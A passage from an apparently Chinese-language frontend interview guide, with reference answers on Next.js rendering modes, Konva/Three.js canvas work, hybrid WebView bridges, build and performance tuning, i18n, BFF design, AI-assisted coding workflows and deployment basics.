&lt;li&gt;&lt;strong&gt;声明文件的坑&lt;/strong&gt;：调用 C++ SDK 的 N-API 桥接层、UVC 设备协议这类没有类型的原生模块，需要手写 &lt;code&gt;.d.ts&lt;/code&gt; 并把回调风格封装成 Promise 泛型，保证调用侧类型完整。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;我的观点是：&lt;strong&gt;TS 的收益不在写的时候，而在改的时候&lt;/strong&gt;。类型覆盖率上到 90% 以后，重构的心理成本会下降一个数量级。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;二、Next.js：SSR / SSG / ISR 的取舍&lt;/h2&gt;
&lt;h3&gt;Q4：SSR、SSG、ISR 分别适合什么场景？ISR 的实现原理是什么？⭐⭐ 🔥&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;参考回答&lt;/strong&gt;：&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;模式&lt;/th&gt;
&lt;th&gt;生成时机&lt;/th&gt;
&lt;th&gt;适用场景&lt;/th&gt;
&lt;th&gt;代价&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;SSG&lt;/td&gt;
&lt;td&gt;构建时&lt;/td&gt;
&lt;td&gt;官网、文档、活动页&lt;/td&gt;
&lt;td&gt;内容更新要重新构建&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;SSR&lt;/td&gt;
&lt;td&gt;每次请求&lt;/td&gt;
&lt;td&gt;强实时、个性化页面&lt;/td&gt;
&lt;td&gt;服务器压力大、TTFB 高&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;ISR&lt;/td&gt;
&lt;td&gt;构建时 + 过期后台再生成&lt;/td&gt;
&lt;td&gt;商品详情、资讯列表&lt;/td&gt;
&lt;td&gt;有短暂的数据陈旧窗口&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;ISR 原理：页面带 &lt;code&gt;revalidate&lt;/code&gt; 时间，过期后的&lt;strong&gt;第一个请求仍返回旧页面&lt;/strong&gt;（stale），同时后台触发再生成，生成完成后原子替换缓存——即 stale-while-revalidate 策略。它把 SSG 的性能和 SSR 的时效性折中了。&lt;/p&gt;
&lt;h3&gt;Q5：SSR 项目最常见的坑有哪些？⭐⭐⭐&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;参考回答&lt;/strong&gt;：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;同构代码的环境判断&lt;/strong&gt;：&lt;code&gt;window&lt;/code&gt; / &lt;code&gt;document&lt;/code&gt; 在 Node 端不存在，需要动态 import 或 &lt;code&gt;useEffect&lt;/code&gt; 内访问；Konva、Three.js 这类 Canvas 库必须 &lt;code&gt;ssr: false&lt;/code&gt; 或客户端懒加载；&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;数据获取的瀑布流&lt;/strong&gt;：getServerSideProps 里串行 await 多个接口会拖垮 TTFB，要 &lt;code&gt;Promise.all&lt;/code&gt; 并行，或下沉到 BFF 聚合；&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;hydration mismatch&lt;/strong&gt;：服务端和客户端渲染结果不一致（时间戳、随机数、UA 相关逻辑）会导致整棵树降级重渲染，必须保证首屏输出确定性；&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;缓存分层&lt;/strong&gt;：CDN 缓存、Next.js 的 fetch 缓存、浏览器缓存三层要统一设计，尤其是带 Cookie 的个性化页面必须 &lt;code&gt;Cache-Control: private&lt;/code&gt;。&lt;/li&gt;
&lt;/ol&gt;
&lt;hr /&gt;
&lt;h2&gt;三、图形与可视化：Konva、Three.js 与配置驱动适配&lt;/h2&gt;
&lt;h3&gt;Q6：复杂画布应用怎么做图层编排？Konva 的性能瓶颈在哪里？⭐⭐⭐&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;参考回答&lt;/strong&gt;：&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;图层编排&lt;/strong&gt;：Konva 的 Layer 对应独立 Canvas，我把图层按&quot;更新频率&quot;划分而不是按业务划分——静态背景一层、低频元素一层、高频交互（拖拽、动画）一层。高频层重绘不会波及静态层，这是 Konva 性能优化的第一原则。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;瓶颈与对策&lt;/strong&gt;：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;节点数量&lt;/strong&gt;：上千节点时命中检测（hit graph）变慢 → 简化非交互元素的 hitFunc，或 &lt;code&gt;listening: false&lt;/code&gt; 跳过检测；&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;重绘范围&lt;/strong&gt;：整层重绘代价高 → 拆分 Layer，必要时用 &lt;code&gt;layer.draw()&lt;/code&gt; 局部控制；&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;图片解码&lt;/strong&gt;：大量高清图同步 decode 卡主线程 → 预加载 + &lt;code&gt;createImageBitmap&lt;/code&gt; 异步解码 + LRU 缓存；&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;导出场景&lt;/strong&gt;：&lt;code&gt;toDataURL&lt;/code&gt; 大画布很慢 → 导出走离屏 Canvas + Worker 处理（OffscreenCanvas），主线程不阻塞。&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;Q7：2D 画布转纹理和 Three.js 协同渲染，具体怎么做的？⭐⭐⭐&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;参考回答&lt;/strong&gt;：&lt;/p&gt;
&lt;p&gt;场景是需要在 3D 场景里展示可交互编辑的 2D 内容（如画布设计稿贴到 3D 样机上）。方案：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Konva 画布本身就是一个 &lt;code&gt;&amp;lt;canvas&amp;gt;&lt;/code&gt; 元素，直接作为 &lt;code&gt;THREE.CanvasTexture&lt;/code&gt; 的源；&lt;/li&gt;
&lt;li&gt;关键在&lt;strong&gt;更新节流&lt;/strong&gt;：Konva 每次重绘后标记 &lt;code&gt;texture.needsUpdate = true&lt;/code&gt;，但不能每帧都传——用 rAF 合并，一帧最多上传一次；&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;大画布显存压力&lt;/strong&gt;：2D 画布分辨率高时纹理占用显存大，按 3D 场景实际展示尺寸做降采样，并设置合理的 mipmap；&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;交互映射&lt;/strong&gt;：3D 场景里点击模型表面，通过射线检测拿到 UV 坐标，反算回 2D 画布坐标，转发给 Konva 的命中系统——实现&quot;在 3D 里编辑 2D&quot;。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;这套协同的核心经验：&lt;strong&gt;2D 和 3D 各自维护单一职责，用纹理做单向数据流，用坐标映射做交互回流&lt;/strong&gt;，不要试图让两个渲染循环互相侵入。（完整实现见 &lt;a href=&quot;/blog/posts/interview-guide-21-frontend-deep-practice/&quot;&gt;前端深水区实战&lt;/a&gt; 第二章）&lt;/p&gt;
&lt;h3&gt;Q8：「模板 × 场景 × 画幅」这种多维组合问题，配置驱动怎么设计？⭐⭐⭐ 🔥&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;参考回答&lt;/strong&gt;：&lt;/p&gt;
&lt;p&gt;这是我最有代表性的架构实践。问题本质：模板有 N 种、场景有 M 种、画幅有 K 种，if-else 写死是 N×M×K 的分支爆炸。&lt;/p&gt;
&lt;p&gt;设计分四层：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Schema 层&lt;/strong&gt;：用 JSON Schema 描述&quot;一个画面由哪些元素组成、每个元素的可变属性（位置、尺寸、数据源、可见条件）&quot;；&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;约束层&lt;/strong&gt;：画幅变化不是简单缩放——定义元素的对齐规则、伸缩优先级、最小尺寸、溢出策略（裁切/缩放/隐藏），类似 CSS 的约束求解，但由配置声明；&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;场景层&lt;/strong&gt;：场景差异（数据源、主题、语言）以&quot;变量注入&quot;方式解析进 Schema，模板本身不感知场景；&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;运行时层&lt;/strong&gt;：统一的渲染管线消费解析后的配置，Konva 和 DOM 两套渲染器实现同一接口。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;收益：新增一个画幅从&quot;改 N 个模板&quot;变成&quot;写一份约束配置&quot;；组合正确性由 TS 类型 + Schema 校验在编译期/发布前拦截。&lt;strong&gt;把组合问题从代码空间搬到配置空间，是这类需求的通解。&lt;/strong&gt;（四层架构与求解器代码见 &lt;a href=&quot;/blog/posts/interview-guide-21-frontend-deep-practice/&quot;&gt;前端深水区实战&lt;/a&gt; 第一章）&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;四、Hybrid 与硬件跨端&lt;/h2&gt;
&lt;h3&gt;Q9：同一份前端产物适配 Android / iOS WebView、桌面客户端与浏览器，架构上怎么做？⭐⭐⭐ 🔥&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;参考回答&lt;/strong&gt;：&lt;/p&gt;
&lt;p&gt;核心是&lt;strong&gt;桥接层抽象 + 能力降级矩阵&lt;/strong&gt;：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;统一 Bridge SDK&lt;/strong&gt;：定义与宿主无关的能力接口（相机、存储、支付、设备信息、窗口控制），每个宿主实现一个 adapter：
&lt;ul&gt;
&lt;li&gt;Android：JavascriptInterface / addWebMessageListener；&lt;/li&gt;
&lt;li&gt;iOS：WKScriptMessageHandler；&lt;/li&gt;
&lt;li&gt;桌面客户端（Electron/CEF）：preload 注入 IPC；&lt;/li&gt;
&lt;li&gt;浏览器：降级实现（WebRTC / IndexedDB / Web API）或标记能力不可用。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;能力探测而非宿主嗅探&lt;/strong&gt;：启动时握手交换 capability 列表，业务代码只问&quot;有没有这个能力&quot;，不问&quot;在哪个宿主&quot;。UA 嗅探是不可维护的。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;构建期分平台产物&lt;/strong&gt;：webpack/Rollup 按宿主维度出包，用环境变量裁剪掉不可能用到的 adapter，控制包体。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;通信协议版本化&lt;/strong&gt;：Bridge 协议带版本号，客户端升级慢于 H5 时按版本协商降级，这是 Hybrid 长期维护的生命线。&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;Q10：Node N-API 调用 C++ SDK、对接 UVC 摄像头，前端工程师做到这一层的价值是什么？难点在哪？⭐⭐⭐&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;参考回答&lt;/strong&gt;：&lt;/p&gt;
&lt;p&gt;价值：&lt;strong&gt;打通&quot;前端产物 → 桌面客户端 → 外设硬件&quot;的全链路&lt;/strong&gt;，设备相关问题不用等客户端团队排期，排查半径覆盖全链路。&lt;/p&gt;
&lt;p&gt;实践要点：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;N-API 封装&lt;/strong&gt;：C++ SDK 是回调风格，N-API 层用 &lt;code&gt;ThreadSafeFunction&lt;/code&gt; 把设备事件安全地抛回 JS 主线程，再封装成 EventEmitter + Promise 的 API；&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;UVC 协议&lt;/strong&gt;：设备枚举、格式协商（分辨率/帧率/YUYV-MJPEG）、控制指令（曝光、对焦）都要处理；采集帧经共享内存/回调传给渲染层，注意背压——JS 消费不过来时要丢帧策略而不是堆积；&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;设备状态同步机制&lt;/strong&gt;：热插拔是最大难点。设计了&quot;设备状态机 + 事件广播&quot;：连接、就绪、忙、异常、断开每个状态迁移都发事件，UI 层订阅后做防御性渲染；断线重连用指数退避，重连成功后校验会话（比如摄像头被其他进程占用要给出明确错误）；&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;崩溃隔离&lt;/strong&gt;：C++ 层崩溃不能带走整个客户端进程，SDK 跑在独立子进程，主进程监控心跳自动拉起。&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;Q11：离线包差量热更新怎么设计？⭐⭐⭐&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;参考回答&lt;/strong&gt;：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;包的粒度&lt;/strong&gt;：离线包 = 静态资源 bundle + 版本清单（manifest：文件哈希列表）；&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;差量下发&lt;/strong&gt;：客户端上报本地版本 manifest，服务端对比算出差量文件列表，只下载变更文件（文件级 diff 足够，bsdiff 级二进制 diff 用于超大单文件）；&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;原子切换&lt;/strong&gt;：下载写入临时目录，全部校验通过后一次性切换软链/路径指针，避免半更新状态；&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;回滚兜底&lt;/strong&gt;：保留上一版本，新版本首启崩溃计数超阈值自动回滚；&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;安全&lt;/strong&gt;：包签名校验（防篡改）+ HTTPS 下发 + 版本号防降级。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;这套机制让 H5 功能发布摆脱了 WebView 缓存和发版节奏的约束，紧急修复分钟级触达。（manifest 结构与更新流程见 &lt;a href=&quot;/blog/posts/interview-guide-21-frontend-deep-practice/&quot;&gt;前端深水区实战&lt;/a&gt; 第四章）&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;五、工程化与性能优化&lt;/h2&gt;
&lt;h3&gt;Q12：webpack / Rollup 构建调优，你的方法论是什么？⭐⭐ 🔥&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;参考回答&lt;/strong&gt;：&lt;/p&gt;
&lt;p&gt;先测量再优化，顺序是：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;定位耗时&lt;/strong&gt;：webpack 用 &lt;code&gt;speed-measure-plugin&lt;/code&gt;，Rollup/Vite 看 phase 耗时；&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;缓存&lt;/strong&gt;：filesystem cache、babel/swc 缓存、持久化缓存到 CI（命中率是关键指标）；&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;换编译器&lt;/strong&gt;：babel → swc/esbuild，loader 层提速通常 5~10 倍；&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;减少工作量&lt;/strong&gt;：DLL/预构建第三方库、缩小 resolve 范围、&lt;code&gt;include/exclude&lt;/code&gt; 精确化；&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;并行&lt;/strong&gt;：thread-loader、多入口分包并行构建；&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;产物层&lt;/strong&gt;：分平台构建时用环境变量 + DefinePlugin 做 tree-shaking 友好的死代码消除，避免把全宿主 adapter 打进一个包。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;我的原则：&lt;strong&gt;构建时间优化的尽头是缓存和任务图，不是调参&lt;/strong&gt;。&lt;/p&gt;
&lt;h3&gt;Q13：字体子集化和包体裁剪怎么做？⭐⭐&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;参考回答&lt;/strong&gt;：&lt;/p&gt;
&lt;p&gt;字体是国际化产品的包体大户，一个全量 CJK 字体 10MB+：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;子集化&lt;/strong&gt;：用 fonttools/pyftsubset 按&quot;实际用到的字符集&quot;裁剪——静态文案直接扫描源码提取；动态内容（用户昵称、商品名）按 GB2312 常用字 + 业务词库兜底；&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;多语言分片&lt;/strong&gt;：按 unicode-range 切分 woff2 分片，浏览器按需加载对应语言的字体分片，而不是一次拉全量；&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;授权字体处理&lt;/strong&gt;：商用授权字体往往不能修改原文件，和字体厂商确认子集化授权，或用&quot;系统字体栈 + 关键标题用图/SVG&quot;的策略绕开；&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;包体裁剪&lt;/strong&gt;：bundle analyzer 常态化，lodash/moment 这类全家桶换成 lodash-es/按需引入或 dayjs；组件库用 ESM + sideEffects 配置保证 tree-shaking 生效。&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;Q14：渲染性能治理，你的排查和落地流程？⭐⭐⭐ 🔥&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;参考回答&lt;/strong&gt;：&lt;/p&gt;
&lt;p&gt;流程是&quot;&lt;strong&gt;度量 → 归因 → 治理 → 防劣化&lt;/strong&gt;&quot;：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;度量&lt;/strong&gt;：Performance 面板录制定位长任务；线上用 PerformanceObserver 采集 LCP / INP / 长任务分布，按机型分档看 P75 而不是平均值；&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;常见归因&lt;/strong&gt;：
&lt;ul&gt;
&lt;li&gt;JS 长任务阻塞主线程 → 拆片（scheduler / requestIdleCallback）、移入 Worker；&lt;/li&gt;
&lt;li&gt;高频重渲染 → React 侧 selector 精确订阅、memo 边界；Canvas 侧图层拆分（见 Q6）；&lt;/li&gt;
&lt;li&gt;布局抖动 → 读写分离，批量 DOM 操作；&lt;/li&gt;
&lt;li&gt;图片解码 → 异步 decode + 尺寸预设防 CLS；&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;防劣化&lt;/strong&gt;：CI 里跑 Lighthouse CI，性能预算（bundle size / LCP）超标直接卡合并。性能治理不是一次项目，是一套门禁。&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;Q15：埋点体系怎么设计？线上问题如何定位？⭐⭐⭐&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;参考回答&lt;/strong&gt;：&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;埋点设计&lt;/strong&gt;：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;分层：全埋点（PV/点击/曝光自动采集）+ 代码埋点（业务语义事件）+ 性能埋点（Web Vitals）+ 异常埋点（error/unhandledrejection/资源加载失败）；&lt;/li&gt;
&lt;li&gt;声明式优先：曝光和点击用指令/HOC 声明，业务代码不手写上报，schema 统一管理事件字典，防止口径漂移；&lt;/li&gt;
&lt;li&gt;上报策略：批量合并 + 空闲上报 + 页面卸载时 &lt;code&gt;sendBeacon&lt;/code&gt;，采样率按事件类型分级。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;线上定位&lt;/strong&gt;：错误上报带 &lt;strong&gt;sourcemap 还原堆栈 + 用户行为回溯（breadcrumb）+ 设备/宿主/版本维度&lt;/strong&gt;。我落地的关键一步是异常和埋点串联：一条报错能看到用户前 30 步操作路径和所在宿主环境，Hybrid 场景下&quot;哪个客户端版本 + 哪个 H5 离线包版本&quot;的组合问题靠这个定位效率提升非常明显。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;六、状态管理与架构设计&lt;/h2&gt;
&lt;h3&gt;Q16：zustand 和 Redux 怎么选？⭐⭐ 🔥&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;参考回答&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Redux（+RTK）&lt;/strong&gt;：强规范、中间件生态成熟、devtools 时间旅行完善，适合大团队强约束、状态流转复杂需要审计的场景；&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;zustand&lt;/strong&gt;：API 极简、无 Provider、selector 精确订阅天然对渲染友好，适合中小规模状态、跨组件工具型状态（如画布编辑器状态、设备连接状态）。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;我的实际决策依据是&lt;strong&gt;状态的性质&lt;/strong&gt;：业务流转型状态（表单流、下单流）需要明确 action 语义的用 Redux 风格；工具型/视图型状态（UI 状态、订阅式数据）用 zustand。两者混用没有问题，关键是团队约定清楚每类状态归谁管。&lt;/p&gt;
&lt;h3&gt;Q17：讲一个你做过的&quot;重复逻辑收敛为共用组件&quot;的实际案例？⭐⭐⭐&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;参考回答&lt;/strong&gt;：&lt;/p&gt;
&lt;p&gt;典型场景：多个业务分支各自实现了&quot;设备选择 + 状态展示 + 重连操作&quot;的 UI，行为细节互不一致（有的轮询、有的事件驱动，错误文案五花八门），维护时一个 bug 要改四处。&lt;/p&gt;
&lt;p&gt;收敛步骤：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;先梳理差异再抽象&lt;/strong&gt;：把各分支实现的行为列成矩阵，区分&quot;本质差异&quot;（业务确实不同）和&quot;实现漂移&quot;（本该一样但写岔了）；&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;分层抽象&lt;/strong&gt;：底层是无 UI 的 &lt;code&gt;useDeviceSession&lt;/code&gt; hook（连接状态机 + 事件订阅），中层是带默认交互的组合组件，顶层允许业务通过 Props/slot 定制；&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;配置化承接差异&lt;/strong&gt;：本质差异不进代码分支，进配置项；&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;迁移策略&lt;/strong&gt;：新旧并存一个迭代，灰度切换，用埋点对比迁移前后行为一致性。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;抽象的度我有个经验法则：&lt;strong&gt;第三次重复出现时再抽象，前两次忍住&lt;/strong&gt;。过早抽象的成本比重复代码更高，因为你还不知道哪些是变轴。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;七、Node.js BFF 与全栈链路&lt;/h2&gt;
&lt;h3&gt;Q18：BFF 层解决什么问题？用 Egg.js / Express 怎么设计？⭐⭐⭐&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;参考回答&lt;/strong&gt;：&lt;/p&gt;
&lt;p&gt;BFF 解决的是&quot;&lt;strong&gt;端的诉求和服务端的领域模型不匹配&lt;/strong&gt;&quot;：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;接口聚合&lt;/strong&gt;：一个页面要调 4 个微服务，BFF 聚合成 1 个请求，串行变并行，弱网收益显著；&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;数据裁剪与整形&lt;/strong&gt;：服务端返回的领域模型字段多、结构深，BFF 按端（H5/小程序/桌面）输出恰好需要的结构；&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;端侧逻辑上收&lt;/strong&gt;：权限拼装、多语言文案选择、降级策略放 BFF，各端不用重复实现。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;设计上注意：BFF 是&lt;strong&gt;薄层&lt;/strong&gt;，不承载核心业务规则和事务；做好超时与熔断（下游慢不能拖死 BFF）；缓存放在 BFF 层收益最大（页面级数据 Redis 缓存 + 主动失效）。&lt;/p&gt;
&lt;p&gt;我有 Java（Spring Boot + MyBatis + Nacos）服务端经验，所以能独立打通「后台配置 → 服务端下发 → 端上消费」全链路——这个能力在做配置驱动渲染系统时特别关键：配置模型怎么定义、下发协议怎么设计、灰度怎么做，前端一个人就能端到端负责。（Node.js 服务端更多细节见 &lt;a href=&quot;/blog/posts/interview-guide-19-nodejs/&quot;&gt;Node.js 面试题专篇&lt;/a&gt;）&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;八、国际化工程&lt;/h2&gt;
&lt;h3&gt;Q19：多语种文案体系怎么设计？缺失怎么监控？⭐⭐&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;参考回答&lt;/strong&gt;：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;文案管理&lt;/strong&gt;：文案 key 化，源语言（如中文）为基准，翻译平台管理词条，构建时按语言产出资源包；&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;缺失监控&lt;/strong&gt;：
&lt;ul&gt;
&lt;li&gt;构建期：扫描代码中的 key 与语言包 diff，缺失直接 CI 告警；&lt;/li&gt;
&lt;li&gt;运行期：i18n 库的 missing handler 上报缺失 key + 页面 + 语言维度，聚合后就是&quot;翻译缺口看板&quot;；&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;按需加载&lt;/strong&gt;：语言包按页面/模块分片，跟随路由懒加载，而不是一次性全量下发；&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;排版问题&lt;/strong&gt;：德语/俄语文案比中文长 30%~100%，UI 必须弹性布局 + 关键位置定义截断/换行策略，这类问题要在设计规范层面前置解决。&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;Q20：多语言下的字体问题怎么处理？⭐⭐&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;参考回答&lt;/strong&gt;：&lt;/p&gt;
&lt;p&gt;三个层面：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;字符集裁剪&lt;/strong&gt;：按目标语言裁字体子集（阿拉伯语、泰语、CJK 各自独立分片），unicode-range 按需加载；&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;授权替换&lt;/strong&gt;：品牌字体在部分地区无授权时，定义&quot;授权字体 → 地区替代字体&quot;的映射表，&lt;code&gt;font-family&lt;/code&gt; 栈按语言环境动态生成；&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;排版适配&lt;/strong&gt;：RTL（阿拉伯语/希伯来语）用逻辑属性（&lt;code&gt;margin-inline-start&lt;/code&gt; 代替 &lt;code&gt;margin-left&lt;/code&gt;）；行高、断词（&lt;code&gt;word-break&lt;/code&gt; / &lt;code&gt;hyphens&lt;/code&gt;）按语言配置。&lt;/li&gt;
&lt;/ol&gt;
&lt;hr /&gt;
&lt;h2&gt;九、AI 辅助研发&lt;/h2&gt;
&lt;h3&gt;Q21：你说的&quot;规范驱动（spec + TDD 实施计划）的人机协作流程&quot;具体是怎么运作的？⭐⭐⭐ 🔥&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;参考回答&lt;/strong&gt;：&lt;/p&gt;
&lt;p&gt;这是我目前主推的工作流，分四步：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Spec 先行&lt;/strong&gt;：需求先写成结构化 spec（背景、边界、验收标准、非目标），人负责把模糊需求收敛成无歧义文档——这一步 AI 辅助起草，人做裁决；&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;TDD 实施计划&lt;/strong&gt;：让 AI 基于 spec 先产出测试用例（验收标准的可执行化），再生成实施计划（改动文件清单 + 每步验证方式），人审查计划而不是审查生成结果；&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;执行与校验&lt;/strong&gt;：AI 按计划实施，每步跑测试绿灯再进下一步；&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;行级归因&lt;/strong&gt;：对 AI 产出的 diff 逐行做归因审查——&quot;这行改动对应 spec 哪一条？测试覆盖了没有？&quot;不能归因的改动一律拒收。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;关键认知：&lt;strong&gt;AI 放大的是清晰需求的产出效率，放大不了模糊需求的正确率&lt;/strong&gt;。spec 写得越准，AI 的价值越大；跳过 spec 直接&quot;帮我写个 xxx&quot;，返工成本会吞掉所有效率收益。（完整工作流见 &lt;a href=&quot;/blog/posts/interview-guide-21-frontend-deep-practice/&quot;&gt;前端深水区实战&lt;/a&gt; 第五章）&lt;/p&gt;
&lt;h3&gt;Q22：Claude Code、自定义 Skill、MCP 工具链你分别怎么用？⭐⭐&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;参考回答&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Claude Code&lt;/strong&gt;：日常主力，承担仓库级理解、跨文件重构、测试生成。用得好的关键是给它足够的上下文约定（项目规范文件）和明确的验证闭环（测试命令）；&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;自定义 Skill&lt;/strong&gt;：把团队高频流程固化成 Skill——比如&quot;按我们的 commit 规范生成提交信息&quot;&quot;按组件模板生成新组件+测试+文档&quot;，把个人经验变成团队可复用的自动化；&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;MCP&lt;/strong&gt;：打通 AI 与内部系统的边界——接内部文档库、设计稿平台、监控平台，让 AI 能直接查线上报错、读设计规范，而不是靠人复制粘贴喂上下文。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;对 AI 产出的质量底线：&lt;strong&gt;任何合入必须经过行级归因 + 本地自测&lt;/strong&gt;，AI 是初稿引擎，人是最终责任人。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;十、部署运维与 SEO&lt;/h2&gt;
&lt;h3&gt;Q23：前端工程师需要掌握 Docker / K8s / Nginx 到什么程度？⭐⭐&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;参考回答&lt;/strong&gt;：&lt;/p&gt;
&lt;p&gt;不需要到 SRE 深度，但要能独立完成&quot;部署与排障闭环&quot;：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Nginx&lt;/strong&gt;：路由转发、gzip/brotli、缓存头策略、SPA history fallback、反向代理与跨域处理——这些直接决定前端性能优化的最后一公里；&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Docker&lt;/strong&gt;：多阶段构建（node 构建 + nginx 运行）、镜像瘦身、构建缓存优化；&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;K8s&lt;/strong&gt;：看得懂 Deployment/Service/Ingress/ConfigMap，能自己排查 Pod 起不来（镜像、探针、资源限制）、能配合灰度发布调整路由权重。&lt;/li&gt;
&lt;/ol&gt;
